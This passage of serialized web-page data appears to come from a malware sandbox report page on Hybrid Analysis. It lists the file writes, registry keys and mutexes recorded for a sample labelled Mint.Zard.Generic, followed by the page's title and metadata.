d364e35_10.0.17134.1_tr-tr_f202f55870c362b7.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_c360135620fb34d6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_c75c50ac1e6c1146.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_e65fc16bdc427e1f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_b8a20ea16336f620.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_c9ea7416cbafbccb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_d3c1f1f48b6b0f16.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_0872d97da5abf8ae.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..orkhelper.resources_31bf3856ad364e35_10.0.17134.1_en-us_255635882a3e6f29.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_f500188df9e3d547.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-accountaccessor_31bf3856ad364e35_10.0.17134.1_none_b735992330b70b6a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-aphostclient_31bf3856ad364e35_10.0.17134.1_none_12b14529e3f90dca.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-davsyncprovider_31bf3856ad364e35_10.0.17134.1_none_c611a004e68b6e59.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-engineshared_31bf3856ad364e35_10.0.17134.1_none_e5e0c6dcc1a55a89.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-networkhelper_31bf3856ad364e35_10.0.17134.1_none_ab4ecb5e866c3736.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-synccontroller_31bf3856ad364e35_10.0.17134.1_none_0da38fcfb5d81d4d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncproxy_31bf3856ad364e35_10.0.17134.1_none_e05c874810f33da5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_7fadf8ba92c41c39.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_am-et_87d130188d901ba0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ar-sa_7f2cd9229324b81e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_84e6ca5c8f770ea0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_4d54adb77eeb898d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2d7ddbbf7e732311.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_256cbaab83a50975.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_23cc75ad84b8bf77.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_283b1e0181dfa024.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_a81c48af98649c7b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_1f36c90ca230e16b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_ce1df00c729a023f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_chr..-us_e18878180aae9bf3.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SYNCROOTMANAGER\\\\","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:656:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Local\\SM0:656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"SM0:656:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"SM0:6816:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Local\\SM0:6816:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Local\\SM0:6816:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"SM0:7352:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"name":"Local\\SM0:7352:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]}]}},"report_ids":{"sandbox_job_ids":["67f24d47ccc11a9e280e1ea4"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Mint.Zard.Generic Sample 43f8d4826299… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 43f8d4826299…. Malware family: Mint.Zard.Generic. Threat score 100/100. 22/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2"}],["$","meta","4",{"property":"og:title","content":"Malicious Mint.Zard.Generic Sample 43f8d4826299… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 43f8d4826299…. Malware family: Mint.Zard.Generic. Threat score 100/100. 22/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Mint.Zard.Generic Sample 43f8d4826299… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 43f8d4826299…. Malware family: Mint.Zard.Generic. Threat score 100/100. 22/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L69","11",{}]]